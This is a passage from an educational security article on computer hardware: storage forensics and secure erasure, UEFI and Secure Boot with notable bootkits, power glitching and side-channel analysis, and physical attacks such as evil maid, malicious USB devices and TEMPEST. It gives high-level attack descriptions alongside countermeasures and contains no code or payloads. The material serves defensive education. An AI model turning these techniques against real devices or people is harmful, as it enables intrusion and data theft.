&lt;p&gt;&lt;strong&gt;Disadvantages:&lt;/strong&gt; Slow (mechanical seek time of 5–15ms vs. microseconds for SSD), failure-prone (moving parts), audible operation, vulnerable to physical shock.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HDD Forensics — Why Deleted Data Is Not Gone:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When a file is "deleted" on a traditional filesystem, the operating system simply marks the space as available. The actual magnetic patterns on the disk remain until overwritten by new data. This is the foundation of &lt;strong&gt;file carving&lt;/strong&gt; — recovering files by their structure (magic bytes, headers, footers) from disk images, regardless of filesystem metadata.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Slack Space:&lt;/strong&gt; Even when a file occupies a disk cluster, it may not use the entire cluster. The remaining space (slack space) may contain remnants of previously stored data. Forensic tools extract slack space artifacts that can reveal previously stored file fragments.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HDD Firmware Attacks:&lt;/strong&gt; The &lt;strong&gt;Equation Group&lt;/strong&gt; (believed to be NSA-linked) was discovered in 2015 to have malware capable of &lt;strong&gt;reprogramming HDD firmware&lt;/strong&gt; — the embedded software running on the drive's controller board. This malware survived complete OS reinstallation, drive formatting, and even low-level wipes. The infected firmware could create a hidden partition outside the normal disk geometry, invisible to the OS. This represents perhaps the most sophisticated persistence mechanism ever documented. Affected firmware included drives from every major manufacturer.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.2 Solid State Drive (SSD)
&lt;/h3&gt;

&lt;p&gt;SSDs use &lt;strong&gt;NAND flash memory&lt;/strong&gt; — the same technology as USB drives, but faster and higher capacity. There are no moving parts; data is stored as electrical charges in floating-gate transistors.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SSD Forensics — The Complications:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TRIM:&lt;/strong&gt; When the OS deletes a file on an SSD, it sends a TRIM command to the SSD controller. The controller marks those flash cells for erasure and may erase them during idle time. This makes file recovery from SSDs much harder than from HDDs — deleted data may be permanently gone within minutes to hours.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wear Leveling:&lt;/strong&gt; SSD controllers continuously move data around the flash cells to distribute wear evenly (flash cells have a limited write endurance of ~1,000–100,000 program/erase cycles). This means the &lt;strong&gt;logical address of data (what the OS sees) is completely different from its physical location on the NAND chips&lt;/strong&gt;. This complicates forensic analysis enormously — the SSD controller is continuously managing a translation layer (FTL — Flash Translation Layer) that maps logical addresses to physical cells.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Over-provisioning:&lt;/strong&gt; SSDs maintain a pool of spare cells (typically 7–28%) that are hidden from the OS. These cells are used during wear leveling and garbage collection and are &lt;strong&gt;not accessible through normal read commands&lt;/strong&gt; — they exist in the SSD controller's private space. Forensic tools that connect directly to the NAND chips (bypassing the controller) can access this over-provisioned area and may recover data that was thought to be erased.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SSD Encryption:&lt;/strong&gt; Many SSDs advertise hardware-based encryption (Self-Encrypting Drives / SED). Research has revealed that many of these implementations are &lt;strong&gt;critically flawed&lt;/strong&gt; — the encryption key is often derived trivially from the password, the key is not protected at rest, or the encryption is bypassed entirely. A 2018 study found that a significant fraction of popular SSDs claiming encryption were trivially bypassable. &lt;strong&gt;Do not rely on SED encryption alone. Use software-layer encryption (BitLocker, LUKS) on top.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  6.3 NVMe (Non-Volatile Memory Express)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;NVMe&lt;/strong&gt; is a communication protocol designed specifically for flash storage, using PCIe lanes directly. NVMe SSDs connect to the motherboard via M.2 slots or PCIe slots, bypassing the SATA controller entirely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Performance comparison:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Storage Type&lt;/th&gt;
&lt;th&gt;Interface&lt;/th&gt;
&lt;th&gt;Sequential Read&lt;/th&gt;
&lt;th&gt;Latency&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;HDD&lt;/td&gt;
&lt;td&gt;SATA&lt;/td&gt;
&lt;td&gt;~150 MB/s&lt;/td&gt;
&lt;td&gt;5–15ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SATA SSD&lt;/td&gt;
&lt;td&gt;SATA&lt;/td&gt;
&lt;td&gt;~550 MB/s&lt;/td&gt;
&lt;td&gt;~0.05ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NVMe SSD (Gen 3)&lt;/td&gt;
&lt;td&gt;PCIe 3.0&lt;/td&gt;
&lt;td&gt;~3,500 MB/s&lt;/td&gt;
&lt;td&gt;~0.02ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NVMe SSD (Gen 5)&lt;/td&gt;
&lt;td&gt;PCIe 5.0&lt;/td&gt;
&lt;td&gt;~14,000 MB/s&lt;/td&gt;
&lt;td&gt;~0.01ms&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Security Relevance of NVMe:&lt;/strong&gt; Because NVMe drives use PCIe and DMA, all the DMA attack considerations from section 5.5 apply. Additionally, NVMe supports a &lt;strong&gt;Sanitize&lt;/strong&gt; command that securely erases the entire drive — far more reliable than software-level secure erase for HDDs. When decommissioning equipment, the NVMe Sanitize command (via &lt;code&gt;nvme&lt;/code&gt; CLI tools) should be used rather than repeated overwrites (which SSDs may not execute as expected due to wear leveling).&lt;/p&gt;

&lt;h3&gt;
  
  
  6.4 Secure Data Destruction — The Full Picture
&lt;/h3&gt;

&lt;p&gt;When disposing of storage media in a security context:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For HDDs:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Software overwrite with DoD 5220.22-M standard (7 passes) or Gutmann method (35 passes) — effective for magnetic media&lt;/li&gt;
&lt;li&gt;Physical destruction: degaussing (strong magnetic field) followed by shredding&lt;/li&gt;
&lt;li&gt;For classified material: NSA-certified shredders producing small particle sizes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For SSDs/NVMe:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ATA Secure Erase or NVMe Sanitize commands — the controller erases all NAND cells including over-provisioned space&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Overwrite tools designed for HDDs do NOT work reliably on SSDs&lt;/strong&gt; due to wear leveling&lt;/li&gt;
&lt;li&gt;Physical destruction is the only guaranteed method for highly sensitive data&lt;/li&gt;
&lt;li&gt;For drives with hardware encryption (if trustworthy), simply destroying the key renders data irrecoverable&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  7. BIOS / UEFI
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 What Is BIOS?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;BIOS (Basic Input/Output System)&lt;/strong&gt; is the original pre-OS firmware that initializes hardware and launches the operating system. Stored in a flash chip on the motherboard, BIOS runs the first microseconds after power is applied — before the CPU even knows what operating system it will run.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;BIOS Sequence:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;CPU starts at a fixed memory address (typically &lt;code&gt;0xFFFFFFF0&lt;/code&gt; — 16 bytes from top of 32-bit address space)&lt;/li&gt;
&lt;li&gt;BIOS code is memory-mapped to this address from the flash chip&lt;/li&gt;
&lt;li&gt;BIOS performs &lt;strong&gt;POST (Power-On Self Test):&lt;/strong&gt; tests and initializes CPU, RAM, keyboard, storage&lt;/li&gt;
&lt;li&gt;BIOS reads the &lt;strong&gt;MBR (Master Boot Record)&lt;/strong&gt; from the first sector of the boot drive&lt;/li&gt;
&lt;li&gt;MBR loads the bootloader, which loads the operating system&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Legacy BIOS Limitations:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;16-bit real mode operation (designed for Intel 8086 processors, 1981)&lt;/li&gt;
&lt;li&gt;Maximum boot disk size: 2.2TB (MBR partition table limitation)&lt;/li&gt;
&lt;li&gt;No support for Secure Boot&lt;/li&gt;
&lt;li&gt;No driver model — hardware must be manually initialized&lt;/li&gt;
&lt;li&gt;No GUI interface (text only)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  7.2 UEFI — The Modern Replacement
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;UEFI (Unified Extensible Firmware Interface)&lt;/strong&gt; replaces the legacy BIOS with a far more sophisticated pre-boot environment. UEFI is essentially a miniature operating system that runs before your main OS.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;UEFI Architecture:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──────────────────────────────────────────────────────────────┐
│                      UEFI FIRMWARE                           │
│                                                              │
│  ┌──────────────┐  ┌──────────────┐  ┌───────────────────┐ │
│  │  SEC Phase   │  │   PEI Phase  │  │    DXE Phase      │ │
│  │  (Security)  │  │  (Pre-EFI    │  │  (Driver          │ │
│  │              │  │   Init)      │  │   Execution Env)  │ │
│  └──────────────┘  └──────────────┘  └───────────────────┘ │
│                                                              │
│  ┌──────────────────────────────────────────────────────┐   │
│  │              BDS Phase (Boot Device Selection)        │   │
│  │    → Secure Boot verification                        │   │
│  │    → Boot manager                                    │   │
│  │    → Shell access                                    │   │
│  └──────────────────────────────────────────────────────┘   │
│                                                              │
│  ┌─────────────────────────┐  ┌────────────────────────┐   │
│  │   NVRAM (EFI Variables) │  │    EFI System Partition │   │
│  │   Stored on flash chip  │  │    (ESP) on disk        │   │
│  │   Secure Boot keys etc. │  │    Bootloaders here     │   │
│  └─────────────────────────┘  └────────────────────────┘   │
└──────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;UEFI Advantages Over Legacy BIOS:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;32-bit and 64-bit operation&lt;/li&gt;
&lt;li&gt;Support for disks larger than 2.2TB (GPT partition table — supports up to 9.4 ZB theoretically)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Secure Boot support&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Network boot capabilities&lt;/li&gt;
&lt;li&gt;GUI interface possible&lt;/li&gt;
&lt;li&gt;Module-based driver architecture&lt;/li&gt;
&lt;li&gt;EFI Shell: a command-line environment with scripting capability&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  7.3 Secure Boot — How It Works
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Secure Boot&lt;/strong&gt; is a UEFI feature that ensures only digitally signed, trusted software can execute during the boot process.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The trust chain:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;UEFI Firmware
    │
    ├── Reads Platform Key (PK) from UEFI NVRAM
    │   (Root of trust — owned by motherboard manufacturer)
    │
    ├── Verifies Key Enrollment Key (KEK)
    │   (Trusted parties who can update Secure Boot databases)
    │
    ├── Checks Signature Database (db)
    │   (Whitelist of trusted bootloader signatures — e.g., Microsoft's certificate)
    │
    ├── Checks Forbidden Signature Database (dbx)
    │   (Blacklist of revoked signatures — known-bad bootloaders)
    │
    └── Verifies bootloader signature against db
            │
            ├── PASS → Bootloader executes → loads kernel → loads drivers
            └── FAIL → Boot halted, error displayed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What Secure Boot Protects Against:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Bootkits:&lt;/strong&gt; Malware that infects the bootloader to load before the OS and its security tools&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Boot-level rootkits:&lt;/strong&gt; Malicious code that controls the boot process to hide its presence&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unauthorized OS installation:&lt;/strong&gt; Without your signing key, unsigned boot media won't run&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;What Secure Boot Does NOT Protect Against:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Malware that runs after the OS loads (everything in the Windows attack surface)&lt;/li&gt;
&lt;li&gt;An attacker who can enroll their own keys (physical access to UEFI setup)&lt;/li&gt;
&lt;li&gt;Vulnerabilities in signed bootloaders (e.g., BootHole/GRUB2 vulnerability CVE-2020-10713 — a buffer overflow in GRUB2 that allowed bypass of Secure Boot on millions of signed systems)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The BootHole Incident (2020):&lt;/strong&gt; A buffer overflow in GRUB2's configuration file parsing allowed an attacker to execute arbitrary code during boot, even with Secure Boot enabled. GRUB2's bootloader was legitimately signed by Microsoft. The fix required updating the UEFI dbx (forbidden signatures database) to blacklist all affected GRUB2 versions — a massive coordinated update affecting virtually every Linux system using Secure Boot. This demonstrates that a signed binary can still contain exploitable vulnerabilities.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.4 UEFI Firmware Security — The Pre-OS Attack Surface
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;UEFI is one of the most persistent and dangerous attack surfaces in existence.&lt;/strong&gt; Malware in UEFI:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Loads before the operating system&lt;/li&gt;
&lt;li&gt;Is invisible to OS-level security tools (antivirus, EDR)&lt;/li&gt;
&lt;li&gt;Survives OS reinstallation&lt;/li&gt;
&lt;li&gt;Survives hard drive replacement&lt;/li&gt;
&lt;li&gt;In many cases, survives firmware update (if not re-flashed completely)&lt;/li&gt;
&lt;li&gt;Only removable by reflashing the BIOS chip or replacing the motherboard&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Notable UEFI Malware:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Malware&lt;/th&gt;
&lt;th&gt;Year&lt;/th&gt;
&lt;th&gt;Attacker&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LoJax&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2018&lt;/td&gt;
&lt;td&gt;APT28 (Fancy Bear / Russia)&lt;/td&gt;
&lt;td&gt;First UEFI rootkit used in a real attack campaign&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MosaicRegressor&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2020&lt;/td&gt;
&lt;td&gt;Chinese APT&lt;/td&gt;
&lt;td&gt;UEFI implant found on NGO systems&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ESPecter&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2021&lt;/td&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;Persisted in EFI System Partition's Windows Boot Manager&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CosmicStrand&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2022&lt;/td&gt;
&lt;td&gt;Chinese APT&lt;/td&gt;
&lt;td&gt;UEFI rootkit targeting specific motherboard models&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;BlackLotus&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2023&lt;/td&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;First in-the-wild UEFI bootkit to bypass Secure Boot on Windows 11&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;BlackLotus deserves special attention.&lt;/strong&gt; In 2023, ESET researchers discovered BlackLotus — a UEFI bootkit that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Bypassed Secure Boot on fully patched Windows 11 systems&lt;/li&gt;
&lt;li&gt;Exploited CVE-2022-21894 (Baton Drop) — a flaw in the Windows Boot Manager that had been patched but not added to the Secure Boot revocation list&lt;/li&gt;
&lt;li&gt;Deployed a kernel driver and a user-mode component&lt;/li&gt;
&lt;li&gt;Disabled Defender, HVCI, and BitLocker&lt;/li&gt;
&lt;li&gt;Was &lt;strong&gt;commercially available on underground forums for ~$5,000&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This means sophisticated UEFI attacks are not exclusively nation-state tools — they are increasingly accessible to cybercriminal groups.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;UEFI Security Recommendations:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Enable Secure Boot (do not disable it)&lt;/li&gt;
&lt;li&gt;Set a UEFI administrator password&lt;/li&gt;
&lt;li&gt;Disable boot from USB/external media in UEFI (prevent cold boot attacks and unauthorized boot)&lt;/li&gt;
&lt;li&gt;Keep UEFI firmware updated (manufacturers release security patches)&lt;/li&gt;
&lt;li&gt;Enable Intel Boot Guard or AMD Platform Secure Boot (hardware verification of UEFI itself)&lt;/li&gt;
&lt;li&gt;Monitor for UEFI threats with tools that include UEFI scanning (e.g., ESET, Kaspersky, certain EDR products)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  8. Power Supply Unit
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 What Is a PSU?
&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;Power Supply Unit (PSU)&lt;/strong&gt; converts AC mains power (120V/240V) to the DC voltages required by computer components:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;+12V:&lt;/strong&gt; Powers CPU (via voltage regulator), PCIe devices (GPU), and drives&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;+5V:&lt;/strong&gt; USB ports, older SATA devices, logic circuits&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;+3.3V:&lt;/strong&gt; RAM, modern logic circuits, storage&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;-12V:&lt;/strong&gt; Certain legacy components, serial ports&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;+5VSB (Standby):&lt;/strong&gt; Powers USB even when system is "off," powers Wake-on-LAN, powers the PCH for remote management&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;ATX Power Connector Standards:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The standardized ATX connector pinout means that any ATX PSU should work with any ATX motherboard. However, this standardization also has security implications.&lt;/p&gt;

&lt;h3&gt;
  
  
  8.2 Power Quality and Hardware Security
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Power Glitching — A Hardware Attack Technique:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Power glitching introduces deliberate voltage spikes or drops to cause a processor to execute instructions incorrectly or skip instructions entirely. This technique has been used to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Bypass secure boot verification on embedded devices&lt;/li&gt;
&lt;li&gt;Bypass PIN verification on encrypted storage&lt;/li&gt;
&lt;li&gt;Cause CPUs to skip authentication checks&lt;/li&gt;
&lt;li&gt;Extract secrets from microcontrollers by causing a fault during secure operations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Power glitching is a &lt;strong&gt;hardware hacking technique&lt;/strong&gt; used in embedded systems security research, smartcard attacks, and IoT device hacking. In OT security, PLC security assessments sometimes include power fault injection as an attack vector.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Voltage Regulator Modules (VRM) and CPU Stability:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The CPU requires an extremely stable and precise voltage. The VRM on the motherboard converts the +12V rail to the CPU's required core voltage (typically 1.0–1.4V for modern processors). If the VRM quality is poor or fails, the CPU may exhibit random computational errors — which could theoretically be exploited if an attacker can induce VRM instability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Uninterruptible Power Supply (UPS) — Defense:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For servers and critical infrastructure (directly relevant to OT/SCADA):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;UPS provides battery backup, preventing unclean shutdowns&lt;/li&gt;
&lt;li&gt;Unclean shutdowns can corrupt filesystems, databases, and even RAID arrays&lt;/li&gt;
&lt;li&gt;Power fluctuations can cause data integrity issues&lt;/li&gt;
&lt;li&gt;For ICS environments, power quality is directly linked to operational safety&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  8.3 Power Side-Channel Attacks
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Simple Power Analysis (SPA) and Differential Power Analysis (DPA):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When a device performs cryptographic operations, its power consumption varies depending on the data being processed and the operations being performed. By measuring power consumption with high-precision equipment, an attacker can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Determine the secret key being used in AES encryption&lt;/li&gt;
&lt;li&gt;Extract RSA private keys from smartcards&lt;/li&gt;
&lt;li&gt;Recover PINs from secure hardware&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is why cryptographic implementations in hardware are required to be &lt;strong&gt;constant-time&lt;/strong&gt; — the operations must take the same time and consume the same power regardless of key values, to prevent side-channel leakage.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Relevance to Electrical Engineers in Cybersecurity:&lt;/strong&gt; This is precisely where your electrical engineering background gives you an advantage. Understanding current measurement, oscilloscope usage, signal processing, and circuit design are all prerequisites for power side-channel research — skills that most software-focused security professionals completely lack.&lt;/p&gt;




&lt;h2&gt;
  
  
  9. Physical Security
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 Why Physical Security Is the Foundation of All Security
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;There is a fundamental axiom in security: physical access equals game over.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If an attacker has unconstrained physical access to a device, virtually every software and cryptographic protection can eventually be defeated. This is not theoretical — it is the reason secure facilities exist, why data centers have biometric access, and why classified systems are stored in locked cages.&lt;/p&gt;

&lt;p&gt;All the software security in the world is meaningless if an attacker can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Walk up to an unlocked terminal&lt;/li&gt;
&lt;li&gt;Remove a hard drive and read it in their own system&lt;/li&gt;
&lt;li&gt;Install a hardware keylogger&lt;/li&gt;
&lt;li&gt;Insert a malicious USB device&lt;/li&gt;
&lt;li&gt;Take a photograph of your screen over your shoulder&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  9.2 Physical Attack Vectors
&lt;/h3&gt;

&lt;h4&gt;
  
  
  9.2.1 Shoulder Surfing
&lt;/h4&gt;

&lt;p&gt;The simplest attack: &lt;strong&gt;visually observing what someone types or displays&lt;/strong&gt; — passwords, PINs, sensitive data, network credentials.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Countermeasures:&lt;/strong&gt; Privacy screens (polarized film that narrows the viewing angle), situational awareness in public spaces, position yourself with your back to walls, use virtual keyboards for PIN entry where possible.&lt;/p&gt;

&lt;h4&gt;
  
  
  9.2.2 Hardware Keyloggers
&lt;/h4&gt;

&lt;p&gt;Physical keystroke logging devices that install between the keyboard and computer, or replace the keyboard cable entirely. They record every keystroke to internal storage, later retrieved physically or transmitted wirelessly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Types:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;PS/2/USB keylogger:&lt;/strong&gt; Inline device, often indistinguishable from a USB extension adapter&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wireless keylogger:&lt;/strong&gt; Transmits keystrokes via radio, can be read from a distance&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Firmware keylogger:&lt;/strong&gt; Implanted in keyboard firmware — impossible to detect without firmware analysis&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;BIOS keylogger:&lt;/strong&gt; Rare but documented; records keystrokes at firmware level before OS loads&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Detection:&lt;/strong&gt; Physically inspect computers before use, especially in high-security environments. Run your fingers along all cable connections. Consider transparent keyboard enclosures in secure facilities. For high-value targets, use on-screen keyboards or hardware security tokens for authentication.&lt;/p&gt;

&lt;h4&gt;
  
  
  9.2.3 Evil Maid Attack
&lt;/h4&gt;

&lt;p&gt;Named after the hotel cleaning staff who have access to a guest's room:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Attacker gains brief, unobserved access to the target's device&lt;/li&gt;
&lt;li&gt;Boots from external media, modifies the bootloader (installs a bootkit)&lt;/li&gt;
&lt;li&gt;Modified bootloader captures the disk encryption password when the owner enters it&lt;/li&gt;
&lt;li&gt;Attacker returns later to retrieve the captured password and decrypt the drive&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Countermeasures:&lt;/strong&gt; UEFI password, Secure Boot, Measured Boot with TPM, Anti-Evil-Maid tools (which hash the boot environment and display a secret to the user before asking for credentials — if the secret doesn't appear, the boot environment has changed).&lt;/p&gt;

&lt;h4&gt;
  
  
  9.2.4 USB-Based Attacks
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Rubber Ducky / Malicious USB HID:&lt;/strong&gt;&lt;br&gt;
A USB device that identifies itself as a keyboard to the OS, then executes a pre-programmed keystroke sequence — downloading and executing malware in seconds. The OS sees a trusted input device, so no suspicious file execution is triggered.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;BadUSB:&lt;/strong&gt;&lt;br&gt;
Malware embedded in USB device firmware that reprograms the device to act as a different device type (e.g., a storage drive reprograms itself as a network adapter to redirect traffic). The firmware is not scanned by antivirus.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;USB Killer:&lt;/strong&gt;&lt;br&gt;
Delivers a high-voltage surge (~200V) through the USB data lines, permanently destroying the motherboard. Used for sabotage.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;O.MG Cable:&lt;/strong&gt;&lt;br&gt;
An Apple Lightning cable lookalike with an embedded Wi-Fi-accessible ARM processor. When connected, it executes payloads wirelessly while appearing to be a normal charging cable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Countermeasures:&lt;/strong&gt; USB port control software (allow only registered devices by hardware ID), USB data blockers for charging, port blockers/filers in high-security environments, endpoint protection that monitors HID device enumeration.&lt;/p&gt;
&lt;h4&gt;
  
  
  9.2.5 Tailgating and Piggybacking
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Tailgating:&lt;/strong&gt; An unauthorized person follows an authorized person through an access-controlled door without proper authentication — by walking close behind them before the door closes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Piggybacking:&lt;/strong&gt; With the authorized person's knowledge (who holds the door open) — often through social engineering ("My hands are full, could you hold that?").&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;In ICS/OT environments, this is particularly dangerous:&lt;/strong&gt; A tailgater into a substation, water treatment plant, or power control room has physical access to critical infrastructure. The consequences can extend far beyond data breach — operational disruption, equipment damage, and public safety risks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Countermeasures:&lt;/strong&gt; Mantrap/airlock entry (two doors requiring individual authentication), turnstile access controls that cannot be tailgated, security culture training, dual-person integrity requirements for critical areas.&lt;/p&gt;
&lt;h4&gt;
  
  
  9.2.6 TEMPEST — Electromagnetic Emanation Attacks
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;TEMPEST&lt;/strong&gt; (a codename, not an acronym — later backronymed to Transient ElectroMagnetic Pulse Emanation Standard) refers to surveillance techniques based on monitoring electromagnetic or acoustic emanations from electronic equipment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Examples:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Van Eck Phreaking:&lt;/strong&gt; Reconstructing a monitor's displayed image from its electromagnetic emissions, captured with specialized equipment from a distance&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keyboard emanation:&lt;/strong&gt; Capturing keystrokes by analyzing the electromagnetic emissions of keyboard electronics&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Power line analysis:&lt;/strong&gt; Reading device activity from power consumption patterns on the power line&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Acoustic emanation:&lt;/strong&gt; Matrix printers' sound patterns reveal what is being printed; mechanical hard drive sounds can reveal access patterns; even CPU fans have been used to exfiltrate data as a covert channel&lt;/li&gt;
&lt;/ul&gt;

